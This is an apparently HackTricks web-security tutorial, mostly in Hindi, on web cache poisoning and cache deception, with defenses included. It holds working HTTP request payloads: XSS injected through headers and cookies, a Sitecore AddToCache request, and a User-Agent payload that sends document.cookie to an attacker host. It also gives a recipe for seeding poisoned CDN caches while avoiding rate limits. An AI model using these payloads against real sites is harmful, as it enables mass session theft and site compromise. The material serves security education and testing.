Cache Poisoning and Cache Deception

Reading time: 19 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अंतर

web cache poisoning और web cache deception में क्या अंतर है?

  • In web cache poisoning, हमलावर एप्लिकेशन को कुछ दुष्ट सामग्री cache में स्टोर कराने के लिए मजबूर करता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
  • In web cache deception, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर कराने के लिए मजबूर करता है, और फिर हमलावर उस सामग्री को cache से पुनः प्राप्त कर लेता है।

Cache Poisoning

Cache poisoning का उद्देश्य client-side cache को इस तरह से बदलना है कि clients ऐसे संसाधन लोड करने को मजबूर हों जो अप्रत्याशित, आंशिक, या किसी हमलावर के नियंत्रण में हों। प्रभाव की सीमा प्रभावित पेज की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित response केवल उस अवधि में उस पेज पर आने वाले उपयोगकर्ताओं को परोसा जाता है जब cache दूषित है।

Cache poisoning हमले को अंजाम देने में कई चरण शामिल होते हैं:

  1. Unkeyed Inputs की पहचान: ये ऐसे पैरामीटर हैं जो भले ही किसी request को cache करने के लिए आवश्यक न हों, पर server द्वारा लौटाए गए response को बदल सकते हैं। इन inputs की पहचान बहुत महत्वपूर्ण है क्योंकि इन्हें cache को मैनीपुलेट करने के लिए एक्स्प्लॉइट किया जा सकता है।
  2. Unkeyed Inputs का शोषण: Unkeyed inputs की पहचान के बाद अगला कदम यह पता लगाना है कि इन पैरामीटर्स का दुरुपयोग कर server के response को किस तरह बदला जा सकता है ताकि वह हमलावर के हित में हो।
  3. सुनिश्चत करना कि Poisoned Response cached हो: अंतिम चरण यह सुनिश्चित करना है कि बदला गया response cache में स्टोर हो जाए। इस तरह, cache दूषित रहने की अवधि में प्रभावित पेज पर आने वाला कोई भी उपयोगकर्ता दूषित response प्राप्त करेगा।

खोज: HTTP headers जाँचें

आम तौर पर, जब कोई response cache में स्टोर किया जाता है तो वहाँ एक ऐसा header होगा जो इसे दर्शाता है, आप यह देख सकते हैं कि किन headers पर ध्यान देना चाहिए इस पोस्ट में: HTTP Cache headers.

खोज: एरर कोड्स का cache होना

अगर आपको लगता है कि response cache में स्टोर हो रहा है, तो आप गलत header के साथ requests भेजकर देख सकते हैं, जिनके जवाब में सामान्यतः status code 400 आना चाहिए। फिर सामान्य तरीके से उस request को एक्सेस करके देखें — अगर response 400 status code ही आता है, तो आप जान लेंगे कि यह vulnerable है (और आप यहाँ से DoS भी कर सकते हैं)।

You can find more options in:

Cache Poisoning to DoS

हालाँकि ध्यान दें कि कभी-कभी इन तरह के status codes cache नहीं होते, इसलिए यह टेस्ट विश्वसनीय नहीं हो सकता है।

खोज: Unkeyed inputs की पहचान और मूल्यांकन

आप Param Miner का उपयोग करके उन parameters और headers को brute-force कर सकते हैं जो पेज के response को बदल सकते हैं। उदाहरण के लिए, एक पेज header X-Forwarded-For का उपयोग कर सकता है ताकि client को वहां से script लोड करने का निर्देश दिया जा सके:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

बैक-एंड सर्वर से हानिकारक प्रतिक्रिया उत्पन्न करें

पैरामीटर/हेडर पहचानने के बाद यह जांचें कि इसे कैसे sanitised किया जा रहा है और यह कहां getting reflected हो रहा है या हेडर से response को कैसे प्रभावित कर रहा है। क्या आप इसे किसी तरह abuse कर सकते हैं (एक XSS या अपना नियंत्रित JS कोड लोड करना? DoS करना? ...)

प्रतिक्रिया को कैश करवाएँ

एक बार जब आपने वह page पहचान लिया है जिसे abuse किया जा सकता है, कौन सा parameter/header उपयोग करना है और इसे कैसे abuse करना है, तो आपको पृष्ठ को कैश कराना होगा। जिस resource को आप cache में लाना चाह रहे हैं उसके अनुसार यह कुछ समय ले सकता है, आपको कुछ सेकंड तक कोशिश करनी पड़ सकती है।

रिस्पॉन्स में मौजूद हेडर X-Cache बहुत उपयोगी हो सकता है क्योंकि इसमें मान miss हो सकता है जब request cached नहीं था और मान hit हो सकता है जब यह cached हो।
हेडर Cache-Control यह जानने के लिए भी दिलचस्प है कि कोई resource cache हो रहा है या नहीं और अगली बार resource कब फिर से cache होगा: Cache-Control: public, max-age=1800

एक और दिलचस्प हेडर है Vary। यह हेडर अक्सर उन अतिरिक्त हेडरों का संकेत देने के लिए उपयोग किया जाता है जिन्हें cache key का हिस्सा माना जाता है भले ही वे सामान्यतः unkeyed हों। इसलिए, यदि attacker को उस लक्ष्य उपयोगकर्ता का User-Agent पता है, तो वह उसी विशिष्ट User-Agent का उपयोग करने वाले users के लिए cache को poison कर सकता है।

cache से संबंधित एक और हेडर है Age। यह सेकंड में परिभाषित करता है कि object proxy cache में कितने समय से है।

किसी request को cache करते समय, आप जिन हेडरों का उपयोग कर रहे हैं उनसे सावधान रहें क्योंकि कुछ हेडर अनपेक्षित रूप से keyed के रूप में इस्तेमाल हो सकते हैं और victim को वही हेडर उपयोग करना होगा। हमेशा विभिन्न ब्राउज़रों के साथ एक Cache Poisoning का test करें ताकि पता चल सके कि यह काम कर रहा है या नहीं।

Exploiting Examples

सबसे आसान उदाहरण

X-Forwarded-For जैसे हेडर को response में बिना sanitize किए रिफ्लेक्ट किया जा रहा है।
आप एक बेसिक XSS payload भेज कर cache को poison कर सकते हैं ताकि जो कोई भी पेज को एक्सेस करे वह XSSed हो जाए:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

this writeup में निम्नलिखित सरल परिदृश्य समझाया गया है:

  • CDN /share/ के तहत किसी भी चीज़ को cache करेगा
  • CDN %2F..%2F को decode या normalize नहीं करेगा, इसलिए इसे path traversal to access other sensitive locations that will be cached के रूप में उपयोग किया जा सकता है, जैसे https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • वेब सर्वर %2F..%2F को decode और normalize करेगा, और /api/auth/session के साथ response देगा, जिसमें auth token होता है।

Cookies किसी पेज के response में भी reflect हो सकते हैं। यदि आप इसे किसी XSS को trigger करने के लिए abuse कर सकें, तो आप उन कई clients में XSS exploit कर सकते हैं जो malicious cache response लोड करते हैं।

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

ध्यान दें कि यदि the vulnerable cookie उपयोगकर्ताओं द्वारा बहुत अधिक इस्तेमाल की जा रही है, तो नियमित अनुरोध cache को साफ़ करते रहेंगे।

डिलिमीटर्स, नॉर्मलाइज़ेशन और डॉट्स के साथ विसंगतियाँ उत्पन्न करना

देखें:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

यह भी बेहतर तरीके से समझाया गया है:

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

कभी-कभी आपको cache का दुरुपयोग करने के लिए exploit several unkeyed inputs करने की ज़रूरत पड़ेगी। उदाहरण के लिए, आप X-Forwarded-Host को अपने नियंत्रण वाले डोमेन पर सेट करके और X-Forwarded-Scheme को http पर सेट करके एक Open redirect पा सकते हैं। If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect, तो आप redirect द्वारा पेज कहां पॉइंट किया जा रहा है नियंत्रित कर सकते हैं।

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Exploiting with limited Varyheader

यदि आप पाते हैं कि X-Host header को domain name to load a JS resource के रूप में उपयोग किया जा रहा है, लेकिन प्रतिक्रिया में Vary header User-Agent दिखा रहा है, तो आपको victim के User-Agent को exfiltrate करने और उस user agent का उपयोग करके cache को poison करने का तरीका ढूँढना होगा:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URL और body दोनों में request रखकर एक GET request भेजें। यदि web server body वाला इस्तेमाल करता है लेकिन cache server URL वाली को cache कर लेता है, तो जो कोई भी उस URL तक पहुँचेगा वह वास्तव में body से आए parameter का उपयोग करेगा। जैसे कि Github वेबसाइट पर James Kettle द्वारा पाया गया vuln:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There is a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Learn here about how to perform Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

The Web Cache Vulnerability Scanner can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:

  • The main HTML reflected an untrusted request header (e.g., User-Agent) into executable context.
  • The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., .js), while the WAF applied weaker content inspection to GETs for static assets.
  • Request flow quirks allowed a request to a .js path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.

Practical recipe (observed across a popular CDN/WAF):

  1. From a clean IP (avoid prior reputation-based downgrades), set a malicious User-Agent via browser or Burp Proxy Match & Replace.
  2. In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
  • First request: GET a .js resource path on the same origin while sending your malicious User-Agent.
  • Immediately after: GET the main page (/).
  1. The CDN/WAF routing race plus the auto-cached .js often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same Vary dimensions like User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • कई CDNs cache headers छिपाते हैं; poisoning कई घंटे के refresh cycles पर ही दिखाई दे सकता है। rate-limit या reputation triggers से बचने के लिए multiple vantage IPs का उपयोग करें और throttle करें।
  • CDN के अपने cloud का IP इस्तेमाल करने से कभी-कभी routing consistency बेहतर होती है।
  • यदि strict CSP मौजूद है, तब भी यह तब काम करता है जब reflection मुख्य HTML context में execute हो और CSP inline execution की अनुमति दे या context से bypass हो सके।

Impact:

  • यदि session cookies aren’t HttpOnly, zero-click ATO संभव है by mass-exfiltrating document.cookie उन सभी उपयोगकर्ताओं से जिन्हें poisoned HTML सर्व किया गया है।

Defenses:

  • Request headers को HTML में reflect करना बंद करें; अगर अपरिहार्य हो तो सख्ती से context-encode करें। CDN और origin cache policies को align करें और untrusted headers पर vary करने से बचें।
  • सुनिश्चित करें कि WAF .js requests और static paths पर content inspection लगातार लागू करे।
  • session cookies पर HttpOnly (और Secure, SameSite) सेट करें।

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

यह attacker‑chosen cache key के अंतर्गत मनमाना HTML लिखता है, जिससे cache keys ज्ञात होने पर सटीक poisoning संभव हो जाता है।

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

कमज़ोर उदाहरण

Apache Traffic Server (CVE-2021-27577)

ATS ने URL के अंदर के fragment को strip किए बिना आगे भेजा और cache key केवल host, path और query का उपयोग करके बनाया (fragment को ignore करते हुए)। इसलिए request /#/../?r=javascript:alert(1) backend को उसी रूप में भेजा गया और cache key में payload शामिल नहीं था, केवल host, path और query थे।

GitHub CP-DoS

content-type header में गलत value भेजने पर 405 cached response ट्रिगर हुआ। cache key में cookie शामिल था इसलिए इसे केवल अनऑथ (unauth) उपयोगकर्ताओं पर ही आक्रमण के लिए प्रयोग किया जा सकता था।

GitLab + GCP CP-DoS

GitLab static content संग्रहीत करने के लिए GCP buckets का उपयोग करता है। GCP Buckets header x-http-method-override को सपोर्ट करते हैं। इसलिए header x-http-method-override: HEAD भेजकर cache को poison कर empty response body लौटवाना संभव था। यह PURGE method को भी सपोर्ट कर सकता था।

Rack Middleware (Ruby on Rails)

Ruby on Rails applications में Rack middleware अक्सर उपयोग किया जाता है। Rack code का उद्देश्य x-forwarded-scheme header का मान लेकर उसे request के scheme के रूप में सेट करना है। जब header x-forwarded-scheme: http भेजा जाता है, तो उसी स्थान के लिए 301 redirect होता है, जिससे उस resource पर संभावित Denial of Service (DoS) हो सकता है। अतिरिक्त रूप से, application X-forwarded-host header को मान्यता दे सकता है और users को निर्दिष्ट host पर redirect कर सकता है। यह व्यवहार attacker के सर्वर से JavaScript फाइलें लोड होने का कारण बन सकता है, जिससे सुरक्षा जोखिम उत्पन्न होता है।

403 and Storage Buckets

Cloudflare पहले 403 responses को cache करता था। गलत Authorization headers के साथ S3 या Azure Storage Blobs तक पहुंचने का प्रयास करने पर 403 response आता था जो cached हो जाता था। हालांकि Cloudflare ने 403 responses को cache करना बंद कर दिया है, यह व्यवहार अन्य proxy services में अभी भी मौजूद हो सकता है।

Injecting Keyed Parameters

Caches अक्सर cache key में विशेष GET parameters शामिल करते हैं। उदाहरण के लिए, Fastly का Varnish requests में size parameter को cached करता था। हालांकि, यदि parameter का URL-encoded संस्करण (जैसे siz%65) भी गलत value के साथ भेजा गया, तो cache key सही size parameter का उपयोग करके बनाया जाएगा। फिर भी backend URL-encoded parameter में दी गई value को process करेगा। दूसरे size parameter को URL-encode करने से cache उसे छोड़ देता था पर backend उसका उपयोग करता था। इस parameter को 0 देने पर एक cacheable 400 Bad Request error बन जाती थी।

User Agent Rules

कुछ developers high-traffic tools जैसे FFUF या Nuclei के user-agents से मेल खाने वाले requests को server load कम करने के लिए block करते हैं। विडंबना यह है कि यह तरीका cache poisoning और DoS जैसी कमजोरियाँ ला सकता है।

Illegal Header Fields

RFC7230 header names में स्वीकार्य characters निर्दिष्ट करता है। Headers जिनमें निर्दिष्ट tchar सीमा के बाहर के characters होते हैं, आदर्श रूप से 400 Bad Request response को ट्रिगर करना चाहिए। व्यवहार में, servers हमेशा इस मानक का पालन नहीं करते। एक उल्लेखनीय उदाहरण Akamai है, जो invalid characters वाले headers को forward करता है और कोई भी 400 error cache कर लेता है, बशर्ते cache-control header मौजूद न हो। एक exploitable पैटर्न ऐसा पाया गया जहाँ \ जैसे illegal character वाले header भेजने से cacheable 400 Bad Request error बन जाती थी।

नए headers ढूँढना

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

Cache Deception का लक्ष्य clients को उन resources को load कराना है जिन्हें cache उनके sensitive information के साथ save कर देगा।

सबसे पहले ध्यान दें कि extensions जैसे .css, .js, .png आदि आमतौर पर cache में saved होने के लिए configured होते हैं। इसलिए, यदि आप www.example.com/profile.php/nonexistent.js तक पहुँचते हैं तो cache संभवतः response को store कर लेगा क्योंकि वह .js extension को देखता है। लेकिन, यदि application www.example.com/profile.php में संग्रहीत उपयोगकर्ता की sensitive सामग्री को replay कर रहा है, तो आप उन सामग्री को अन्य users से steal कर सकते हैं।

परीक्षण के लिए अन्य चीज़ें:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

एक और स्पष्ट उदाहरण इस write-up में पाया जा सकता है: https://hackerone.com/reports/593712.
उस उदाहरण में बताया गया है कि यदि आप http://www.example.com/home.php/non-existent.css जैसी non-existent page लोड करते हैं तो http://www.example.com/home.php की सामग्री (उपयोगकर्ता की sensitive information के साथ) लौटाई जाएगी और cache server परिणाम को save कर लेगा।
फिर, attacker अपने ब्राउज़र में http://www.example.com/home.php/non-existent.css को एक्सेस करके उन उपयोगकर्ताओं की confidential information देख सकता है जिन्होंने पहले पहुँच किया था।

ध्यान दें कि cache proxy को फ़ाइलों को उनकी extension (.css) के आधार पर cache करने के लिए configured होना चाहिए, ना कि content-type के आधार पर। उदाहरण में http://www.example.com/home.php/non-existent.css का content-type text/html होगा, न कि text/css mime type।

यहाँ जानें कि कैसे Cache Deceptions attacks abusing HTTP Request Smuggling का उपयोग करके Cache Deception किया जाए।

स्वचालित टूल्स

  • toxicache: Golang scanner जो URL की सूची में web cache poisoning vulnerabilities खोजने और कई injection techniques का परीक्षण करने के लिए है।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें